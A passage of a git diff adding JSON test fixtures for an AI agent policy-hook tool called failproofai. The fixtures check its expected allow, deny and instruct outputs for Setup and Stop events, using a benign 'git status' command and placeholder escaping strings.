}, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a90bbedf --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..219388be --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1b48c0b9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..0dbdaea6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ae126d54 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..25c466d6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ac475245 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c7d583f4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6306820e --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c8ff109d --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5d06e351 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e54c521b --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1be87556 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..cd6b5e88 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..742186c1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..80f424e1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..53ff1590 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e9ccee4d --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..664c55d3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a2bd1d21 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + 